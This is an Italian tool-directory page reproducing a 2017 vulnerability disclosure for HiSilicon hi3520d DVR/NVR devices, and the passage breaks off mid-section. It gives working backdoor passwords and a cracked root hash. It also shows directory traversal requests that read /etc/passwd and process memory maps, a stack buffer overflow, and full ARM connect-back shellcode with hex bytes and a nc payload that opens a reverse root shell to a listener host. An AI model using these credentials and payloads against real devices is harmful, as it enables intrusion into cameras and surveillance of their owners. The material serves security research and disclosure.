Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pwn-hisilicon-dvr — Exploit proof-of-concept e divulgazione di vulnerabilità per dispositivi DVR/NVR HiSilicon hi3520d. Dimostra RCE tramite interfaccia web, credenziali backdoor e analisi del buffer overflow. | Kitploit
Strumenti/GitHubGitHub/tothi/pwn-hisilicon-dvr
Sicurezza Sistemi EmbeddedPassword CrackingSicurezza IoTMappatura della ReteAnalisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebRaccolta InformazioniFuzzingAnalisi di Binari
383903 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
tothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

Exploit proof-of-concept e divulgazione di vulnerabilità per dispositivi DVR/NVR HiSilicon hi3520d. Dimostra RCE tramite interfaccia web, credenziali backdoor e analisi del buffer overflow.

Vedi Repository

= HiSilicon DVR hack Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] Questo rapporto rivela serie vulnerabilità (con codice proof of concept (PoC)) dei dispositivi DVR/NVR costruiti con il HiSilicon hi3520d e simili system on a chip (SoC). Lo sfruttamento delle vulnerabilità porta a esecuzione remota di codice (RCE) non autorizzata usando solo l'interfaccia web, causando la completa compromissione del dispositivo sfruttato. A causa della mancanza di firmware aggiornati, l'uso di questi dispositivi non è raccomandato. Il venditore è stato contattato prima di dicembre 2016, ma non c'è ancora stata risposta. La data di rilascio della divulgazione è febbraio 2017.

== prefazione

Un paio di anni fa ho comprato un economico DVR cinese su eBay. Il logo di avvio del dispositivo dice: "SECULINK - Security Monitoring". Da appassionato di sicurezza informatica, ho deciso di dare un'occhiata più da vicino al dispositivo per vedere quanto "sicuro" fosse quel servizio di monitoraggio di sicurezza. Cercando su Google ho trovato materiale interessante, ma scavando più a fondo ho trovato problemi (0-day) molto più interessanti e molto più seri riguardanti il dispositivo.

Diamo un'occhiata all'intera sessione di hacking dall'inizio. (I nuovi risultati, ottenuti personalmente, saranno indicati come nuovi, così come quelli vecchi e già noti.)

== esplorare il DVR

Prima dovremmo imparare a usare l'interfaccia utente ufficiale, poi scavare più a fondo, magari cercare di ottenere il firmware. Le probabilità di trovare vulnerabilità aumentano con il firmware.

=== il DVR a prima vista

Il dispositivo DVR usato per i test è marchiato "Seculink".

image::./seculink_device.png[Dispositivo DVR Seculink]

Interfacce fisiche disponibili:

  • 2x porte USB (ufficialmente per il mouse per controllare la console GUI),
  • porta HDMI (e VGA) per collegare un monitor esterno (per la GUI e le viste delle telecamere),
  • 4 connettori BNC per telecamere CCTV analogiche,
  • porta SATA interna per collegare un archivio per registrare il flusso video,
  • porta Ethernet per l'accesso alla rete.

Interfacce utente ufficiali:

  • accesso diretto tramite HDMI (o VGA) come output e mouse / tastiera USB come input per la visualizzazione / controllo / configurazione completa,
  • accesso di rete tramite HTTP per la visualizzazione / controllo delle telecamere.

L'interfaccia di configurazione accessibile direttamente è protetta da autenticazione utente (nome utente, password). Il superutente predefinito è 'admin', la password predefinita è vuota.

Dopo aver impostato una password robusta, l'utente può sentirsi al sicuro che la visualizzazione delle sue telecamere non sia accessibile ad altri. Spesso le persone inoltrano la porta web (tcp/80) del DVR verso il lato WAN dalla loro LAN sicura per accedere ai flussi del DVR dall'esterno (possiamo verificarlo, ad esempio, con una ricerca Shodan adeguata ;) ).

=== ottenere il firmware

Ci possono essere molti modi per ottenere il firmware:

  • ottenerlo dal dispositivo con un metodo soft (usando l'interfaccia ufficiale, o sfruttando qualche vulnerabilità),
  • ottenerlo dal dispositivo con un metodo hard (JTAG, console seriale, ecc.),
  • trovarlo e scaricarlo da internet (se disponibile).

Anche se quest'ultimo metodo (il download) funziona ed è il più semplice, proviamo il primo, perché fornisce anche altre informazioni sul dispositivo.

=== scansione dei servizi

Facciamo una scansione completa delle porte sul DVR. Nota: la scansione SYN (predefinita se eseguita come root) è molto lenta a causa dei pacchetti scartati, ma la scansione completa TCP connect termina in un paio di minuti.


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


Riassumendo e test manuali:

  • 23/tcp è un'interfaccia di login telnet protetta da un nome utente
  • password (non le credenziali dell'applicazione)
  • 80/tcp è l'interfaccia web protetta dalle credenziali dell'applicazione
  • 554/tcp è un servizio rtsp; può essere aperto con un comune url rtsp:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

Nota: anche l'apertura del flusso rtsp richiede le credenziali.

  • 9527/tcp sembra essere una porta di servizio (segreta?) con alcune caratteristiche molto interessanti,
  • 34567/tcp e 34599/tcp sembrano essere porte dati collegate all'applicazione DVR.

Qui dovremmo precisare che il dispositivo è probabilmente un sistema simile a Linux.

Connettendosi alla porta 9527/tcp (con netcat raw) si vede la console dell'applicazione con messaggi di log e un prompt di login. Il login con una qualsiasi delle credenziali applicative definite funziona. Digitando help dopo il prompt si ottiene una breve descrizione dei comandi della console. Il comando shell sembra il più interessante. Sì, fornisce una shell di root sul dispositivo. ;)

Nota: questo è ovviamente un serio problema di sicurezza, perché un qualsiasi utente applicativo (con privilegi bassi) non dovrebbe ottenere automaticamente una shell di root sul dispositivo.

=== shell di root

Esplorando il dispositivo nella shell di root (ad esempio con dmesg) diventa chiaro che il DVR esegue un kernel Linux (versione 3.0.8), ha una CPU ARMv7 e il modello di SoC è hi3520d.

Dall'elenco dei processi in esecuzione (ps) è chiaro che l'applicazione DVR è /var/Sofia, che è in ascolto anche su 34568/udp e 34569/udp oltre alle porte tcp rilevate da nmap (netstat -nlup).

Dall'elenco dei file system montati (comando mount), è chiaro che l'immagine del firmware è nei dispositivi /dev/mtdblockX (dove X=0,1,2,3,4,5).

Il firmware è piccolo e quindi limitato, quindi dobbiamo essere creativi se vogliamo copiare file da/al dispositivo. Fortunatamente NFS è supportato, quindi configurare un server NFS sulla nostra macchina desktop e montarlo dal DVR risolve il problema:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

Ora ottenere il firmware è semplice:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

Possiamo ottenere i file (non solo le immagini grezze):


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== interfaccia telnet

Per accedere al dispositivo tramite l'interfaccia telnet (porta 23/tcp), potremmo aver bisogno di alcune credenziali del sistema operativo. Guardando /etc/passwd troviamo l'hash della password per l'utente root:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

Nota: non c'è nessun altro utente oltre a root, tutto viene eseguito con pieni privilegi. (Quindi se qualcuno riesce a introdursi nel dispositivo in qualche modo, non ci sono barriere: l'attaccante ottiene immediatamente pieni poteri.)

Supponendo una password alfanumerica (minuscola) di sei caratteri, hashcat decifra rapidamente il debole hash DES sopra riportato:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A

Started: Sun Sep 3 03:25:04 2017 Stopped: Sun Sep 3 03:27:38 2017

Quindi con utente root e password xc3511 è possibile accedere tramite l'interfaccia telnet sulla porta 23/tcp. Questo account root hard-coded accessibile sull'interfaccia telnet non chiudibile è ovviamente una backdoor.

Questi risultati erano quasi disponibili da parte di altri prima della nostra ricerca, ma ciò che segue è completamente nuovo.

== reversing del firmware

Esplorando il firmware si scopre che il binario /var/Sofia è l' applicazione principale che implementa ogni interfaccia oltre all'elaborazione video e ad altro. Quindi questo binario sembra il più interessante per noi.

Purtroppo è (staticamente linkato e) strippato, il che rende più difficile l'analisi statica:


$ file Sofia Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info

Quindi oltre all'analisi statica (con radare2 o IDA) l'analisi dinamica dovrebbe essere molto utile.

=== gdb remoto

Per l'analisi dinamica, collegare il debugger GNU (GDB) all'applicazione remota /var/Sofia dovrebbe essere vantaggioso. Il metodo consigliato è eseguire (e collegare) gdbserver sul dispositivo remoto, e connettere gdb da la macchina locale.

Ovviamente abbiamo bisogno di un gdbserver compilato (preferibilmente staticamente) per l'architettura ARM appropriata. Per compilarlo, possiamo usare https://www.uclibc.org/[µClibc], che è la libreria C consigliata per i sistemi embedded (come il nostro DVR). Le build disponibili sono build dinamiche, problematiche sul nostro DVR, quindi dovremmo creare noi delle build statiche personalizzate. C'è un ottimo ambiente di build chiamato https://buildroot.org/[Buildroot] che fa funzionare la compilazione out-of-the-box (selezionate le app richieste (es. gdb) con make menuconfig, non dimenticate di scegliere le librerie statiche, poi eseguite make).

Dopo un breve tempo di compilazione (~10-15 minuti) tutti gli strumenti necessari dovrebbero essere disponibili. I binari statici possono essere trasferiti sul dispositivo con il metodo NFS menzionato in precedenza. Nota: la directory /var che contiene il binario Sofia è un ramfs, quindi non è persistente tra i riavvii. Se vogliamo trasferire i binari in modo (quasi) permanente, la partizione rw /mnt/mtd che contiene i file di configurazione dovrebbe essere una destinazione adatta. Se compilate anche il pacchetto openssh, scp sarà disponibile e renderà il trasferimento dei file più semplice.

Ora il firmware è pronto per un po' di reversing. Collegare gdbserver da remoto ora funziona (ottenere il PID del processo Sofia è facile con ps):


$ /mnt/mtd/gdbserver --attach :2000 610

Connessione dalla macchina locale:


$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

Nota: è consigliato usare qualche estensione GDB (come http://gef.readthedocs.io/en/master/[GEF]). Se la pausa dell'applicazione non funziona (con C-c) per qualche motivo, l'invio di un segnale TRAP al processo Sofia (con kill -TRAP 610) dovrebbe metterlo in pausa.

=== ispezionare la procedura di autenticazione

Lo strumento consigliato per l'analisi statica è ovviamente https://www.hex-rays.com/products/ida/[IDA Pro] di Hex-Ray. Purtroppo non è economico, ma è molto migliore di qualsiasi altro strumento.

Ci sono più di 15.000 funzioni dopo l'analisi automatica iniziale, ma trovare la funzione di autenticazione è un attimo con IDA (usando un semplice script Python). Lo snippet https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] qui sotto cerca tutte le funzioni che fanno riferimento a qualcosa correlato a "Users" e "Password" (allo stesso tempo):

[source,python]

x1, x2 = set(), set() for loc, name in Names(): if "Users" in name: for addr in XrefsTo(loc): x1.add(GetFunctionName(addr.frm)) elif "Password" in name: for addr in XrefsTo(loc): x2.add(GetFunctionName(addr.frm)) print x1 & x2

Il risultato è una sola funzione: sub_2D857C. Una rapida analisi di questa funzione conferma che dovrebbe essere la funzione di autenticazione.

C'è un controllo iniziale sulla password in chiaro rispetto a una stringa hardcoded (prima di ottenere l'hash della password dell'utente dalla configurazione). Se il controllo passa, l'autenticazione è concessa. Questa è una brutta backdoor nell'applicazione. La password universale è: I0TO5Wv9.

Con questa password possiamo accedere a qualsiasi cosa nell'applicazione come qualsiasi utente (es. admin). Ad esempio, ottenere il flusso video:


$ cvlc 'rtsp://192.168.88.127:554/user=admin&password=I0TO5Wv9&channel=1&stream=0.sdp'

Oppure ottenere una shell di root sulla console dell'applicazione (9527/tcp) funziona altrettanto:


$ nc 192.168.88.127 9527 nc: using stream socket

username:admin password:I0TO5Wv9 login(admin, ******, Console, address:) admin$

Un altro risultato interessante nell'algoritmo di autenticazione: in alcune circostanze la funzione di autenticazione accetta non solo la password ma anche l'hash. L'apertura del flusso video rtsp è possibile non solo con la password ma anche con l'hash (che è memorizzato in /mnt/mtd/Config/Account1). Ad esempio, tlJwpbo6 è l'hash della password vuota (vedi anche la prossima sezione), quindi``` cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp' cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

root@kitploit:~
anche funziona.


=== funzione hash della password

Un altro risultato dell'analisi statica (più approfondita) della funzione auth: la funzione hash della password è `sub_3DD5E4`. È sostanzialmente MD5 con alcune strane trasformazioni. L'ho reversata e implementata in Python:

[source,python]
----
import hashlib

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h
----

Con l'algoritmo hash implementato, è possibile forzare le password o impostarne di arbitrarie.


== buffer overflow nel webserver integrato

Il binario Sofia gestisce le richieste HTTP sulla porta 80/tcp. Proviamo un po' di fuzzing con le richieste. Ovviamente, collegare gdb (vedi sopra) può essere utile. In realtà, dovremmo terminare il processo Sofia e riavviarlo con gdbserver per vedere anche l'output della console:

----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----

E localmente:

----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef>  c
----

Ora vediamo le richieste GET. Nessuna risposta:

----
$ echo 'GET /' | nc 192.168.88.127 80
----

Risposta normale (anche senza chiusura corretta e/o newline alla fine):

----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----

Test per un overflow con una richiesta molto lunga:

----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' |  nc 192.168.88.127 80
----

Bene. La risposta è un 200 con un messaggio "404 File Not Found", ma possiamo vedere un meraviglioso crash in gdb. ;)

Nota: c'è un modulo del kernel watchdog abilitato per l'applicazione Sofia. Se non è in esecuzione per un minuto, il dispositivo si riavvia. Questo è positivo se sperimentiamo su un dispositivo remoto, ma è negativo se vogliamo fare debugging in modo fluido.

Il watchdog non può essere disattivato una volta avviato, quindi l'unico modo per liberarsene è modificare il firmware read-only riflashandolo. Non è consigliato a meno che non vogliamo mandare in brick il nostro dispositivo di test. ;)


=== controllo del flusso del programma

Perché il crash è meraviglioso (dal punto di vista di un attaccante)? Il processo remoto Sofia ha ricevuto SIGSEGV (segmentation fault), lo stack è riempito con i nostri caratteri "a", ma la cosa più importante è: il registro $pc (program counter) contiene il nostro valore iniettato `0x61616160` ("aaaa" - 1) (probabilmente innescato da una ret ma la causa non è importante). Questo dovrebbe essere un classico stack overflow, e significa che abbiamo la possibilità di controllare facilmente il flusso del programma.

Dopo alcuni esperimenti (per bisezione):

----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' |  nc 192.168.88.127 80
----

Anche questo causa SIGSEGV, e il registro $pc è `0x7a797876` (~"wxyz"; invertito, perché l'ordinamento dei byte è little-endian; e -1 per allineamento). Il nostro payload inizia (con "0123aaa...") a $sp+0x14 (base dello stack + 0x14).


=== esecuzione remota di codice

Il modo più semplice ed efficace per sfruttare un overflow del genere è iniettare dello shellcode nello stack e reindirizzare lì il flusso del programma. In questo modo otteniamo l'esecuzione arbitraria di codice remoto sul target. Poiché non c'è separazione dei privilegi nel sistema operativo del dispositivo, questo significa controllo totale (accesso root alla shell).

Tuttavia, potrebbero essere abilitate tecniche moderne di mitigazione degli exploit che potrebbero rendere la vita molto più difficile a un attaccante.

Il modo più basilare per proteggersi dagli shellcode sullo stack è la tecnologia del bit No-eXecute (NX). Questa può impedire l'esecuzione di codice su pagine di memoria selezionate (di solito pagine con permesso di scrittura come lo stack). Fortunatamente (dal punto di vista dell'attaccante ;) ), il bit NX non è impostato (guarda i flag STACK, rwx):

----
$ objdump -b elf32-littlearm -p Sofia

Sofia:     file format elf32-littlearm

Program Header:
0x70000001 off    0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
         filesz 0x000132a8 memsz 0x000132a8 flags r--
    LOAD off    0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
         filesz 0x005371dc memsz 0x005371dc flags r-x
    LOAD off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
         filesz 0x000089c8 memsz 0x000dad8c flags rw-
     TLS off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
         filesz 0x00000004 memsz 0x00000018 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----

oppure basta usare `checksec` in gdb gef. `checksec` in gdb gef ci dice anche che non sono presenti altre mitigazioni come lo stack canary (il che è ovvio, perché non potremmo controllare $pc con uno stack overflow se fosse presente uno stack canary).

L'unica cosa che dobbiamo sapere prima di far funzionare l'RCE è l'indirizzo dello stack. Dobbiamo iniettare l'indirizzo $sp+0x14 nella posizione appropriata del nostro payload ("wxyz" sopra) per reindirizzare il flusso del programma allo shellcode.

C'è anche una tecnica di mitigazione che potrebbe rendere tutto più difficile (o molto difficile, quasi impossibile in alcuni casi): l'address space layout randomization (ASLR). L'ASLR randomizza gli indirizzi di base dei segmenti di memoria (ad es. l'indirizzo di base dello stack).

Sfortunatamente, ASLR è abilitato ("2" significa randomizzazione completa, "0" è disabilitato):

----
$ cat /proc/sys/kernel/randomize_va_space 
2
----


==== RCE senza ASLR

Proviamo a sfruttare l'overflow prima con ASLR disattivato.

----
$ echo 0 > /proc/sys/kernel/randomize_va_space 
----

Seguendo la procedura sopra, otteniamo che l'indirizzo dello stack ($sp) è 0x5a26f3d8 al momento del crash SIGSEGV (ed è lo stesso in diverse esecuzioni con ASLR disattivato).

Quindi il payload dovrebbe essere:

----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----

dove lo shellcode dovrebbe essere qualcosa che vogliamo eseguire, preferibilmente uno shellcode di connectback. Nota che ci sono "badchar" che devono essere evitati: 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?'). Inoltre, c'è un limite di dimensione di 299 byte. I generatori di shellcode non possono gestire la nostra lista di badchar; anche usando encoder automatici non si riesce a risolvere il problema (a causa del limite di dimensione).

Quindi bisogna generare uno shellcode personalizzato. Lo shellcode qui fornisce una shell di connectback usando le system call socket, connect, dup2 ed execve (o supervisor call secondo la terminologia del mondo ARM). Dobbiamo essere rigorosi e creativi per evitare i badchar. Le etichette non dovrebbero essere usate, sono solo per una lettura più semplice.

[source,asm]
----
.section    .text
.global     _start

@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0:    add  r1, pc, #1
_4:    bx   r1

@ thumb mode instructions
_start:
.code 16

@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8:    add  r1, pc, #68      @ r1 <- pc+68 = 0xc+68 = 0x50
_a:    ldrb r2, [r1, #2]     @ r2 <- *0x52
_c:    sub  r2, #1           @ r2 <- r2-1
_e:    strb r2, [r1, #2]     @ r2 -> *0x52

@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10:   mov  r1, #2          @ r1 <- 2
_12:   add  r0, r1, #0      @ r0 <- r1 + 0 = 2
_14:   mov  r1, #1          @ r1 <- 1
_16:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_18:   lsl  r7, r1, #8      @ r7 <- r1<<8 = 1<<8 = 256
_1a:   add  r7, #25         @ r7 <- r7 + 25 = 281
_1c:   svc  1               @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)

@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e:   add  r6, r0, #0       @ r6 <- r0 + 0 = &socket
_20:   add  r1, pc, #44      @ r1 <- pc+44 = 0x24+44 = 0x50
_22:   mov  r3, #2           @ r3 <- 2
_24:   strh r3, [r1, #0]     @ 2 -> *0x50
_26:   mov  r2, #16          @ r2 <- 16
_28:   add  r7, #2           @ r7 <- r7 + 2 = 283
_2a:   svc  1                @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)

@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c:   mov  r7, #62       @ r7 <- 62
_2e:   add  r7, #1     	  @ r7 <- r7 + 1 = 63
_30:   mov  r1, #200      @ r1 <- 200

_32:   add  r0, r6, #0    @ r0 <- r6 + 0 = &socket
_34:   svc  1             @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36:   sub  r1, #1        @ r1 <- r1 - 1
_38:   bpl  _32           @ loop until r1>0 (dup2 every fd to the socket)

@ execve('/bin/sh', NULL, NULL)
_3a:   add  r0, pc, #28     @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_3e:   strb r2, [r0, #7]    @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40:   push {r0, r2}        @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42:   mov  r1, sp          @ r1 <- sp
_44:   mov  r7, #11         @ r7 <- 11
_46:   svc  1               @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)

_48:   mov  r7, #1          @ r7 <- 1
_4a:   add  r0, r7, #0      @ r0 <- r7 + 0 = 1
_4c:   svc  1               @ svc_1(r0) = exit(1)

_4e:   nop

@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50:   .short 0xffff
_52:   .short 0x697b            @ port 31377 (hex(31337+0x100) in little-endian)
_54:   .byte 192,168,88,100   	@ inet addr: 192.168.88.100
_58:   .ascii "/bin/shX"      	@ 'X' will be replaced with \x00 by the shellcode

.word 0xefbeadde        @ deadbeef ;)
----

Compilando lo shellcode e ottenendo i byte binari grezzi (qualsiasi cross-tool per ARM dovrebbe funzionare, ad es. anche quelli compilati con buildroot in `buildroot-2017.02.5/output/host/usr/bin/` vanno bene):

----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----

Iniettare questo con il payload dovrebbe far funzionare l'exploit e dovrebbe fornire una shell di connectback al dispositivo remoto.

Ovviamente, prima avvia un listener su `192.168.88.100`:

----
$ nc -nvlp 31337
----

Poi avvia il payload:

----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex");  print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80 
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----

L'exploit dovrebbe funzionare! :) Nel gdb locale:

----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----

E l'RCE è pronto sul listener netcat:

----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----

Ora è possibile eseguire comandi arbitrari (come root!) sul sistema remoto.

Ma sfortunatamente l'exploit non è pronto per l'implementazione nel mondo reale, perché ASLR è attivo e quindi non conosciamo l'indirizzo di inizio dello shellcode. Ancora.


==== sconfiggere l'ASLR

Sconfiggere l'ASLR non è un lavoro facile, ma spesso si può fare con un po' di creatività. Di solito ci sono due modi per farlo:

* trovare qualche debolezza nel randomizzatore e attaccarlo con forza bruta o con qualche leak parziale / overwrite parziale,
* divulgare gli indirizzi di memoria randomizzati del binario remoto.

Ora la forza bruta sembra inutile (innescare un indirizzo errato causa crash e riavvio lento), quindi solo il leak sembra conveniente (se ne troviamo uno).

Dopo una lunga ricerca si stava quasi per rinunciare, non si riusciva a trovare alcun leak, ma poi è venuta un'idea da una direzione completamente diversa.

C'è una vulnerabilità diversa nel webserver, una classica vulnerabilità di directory traversal. In effetti, funziona anche per elencare le directory (questo sarà importante).

La vulnerabilità di directory traversal significa:

----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----

e possiamo ottenere anche l'elenco delle directory:

----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<H1>Index of /mnt/web/../../etc</H1>

<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----

Nota: questa vulnerabilità è seria, perché l'attaccante può leggere qualsiasi file, inclusi i video registrati (se il dispositivo ha storage su HDD).

Inoltre, la vulnerabilità può aiutarci a sconfiggere l'ASLR.

Il filesystem `/proc` contiene molte informazioni sui processi in esecuzione nelle directory `/proc/[pid]`. Elencare `/proc` è possibile usando `GET ../../proc`, in questo modo possiamo ottenere tutti i PID. Se `/proc/[pid]/cmdline` è `/var/Sofia`, abbiamo trovato il PID dell'applicazione.

L'informazione più importante per sconfiggere l'ASLR è in `/proc/[pid]/smaps`. Questo file contiene statistiche delle pagine di memoria, indirizzi di pagina e altre informazioni interessanti (ad es. rss). Per esempio:

----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

/var/Sofia

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

...

4b699000-4be98000 rwxp 00000000 00:00 0 
Size:               8188 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

...
----

Questa è solo una pagina, l'elenco contiene circa ~150 pagine.

Osservando la struttura sopra (prestando attenzione alle dimensioni delle pagine, ai pattern, ecc.), possiamo indovinare (per esperimento ed euristica) quale contiene lo stack del thread richiesto. L'offset dello stack dall'indirizzo di base è costante (è 0x7fd3d8).

Lo snippet che indovina la pagina di memoria:

[source,python]
----
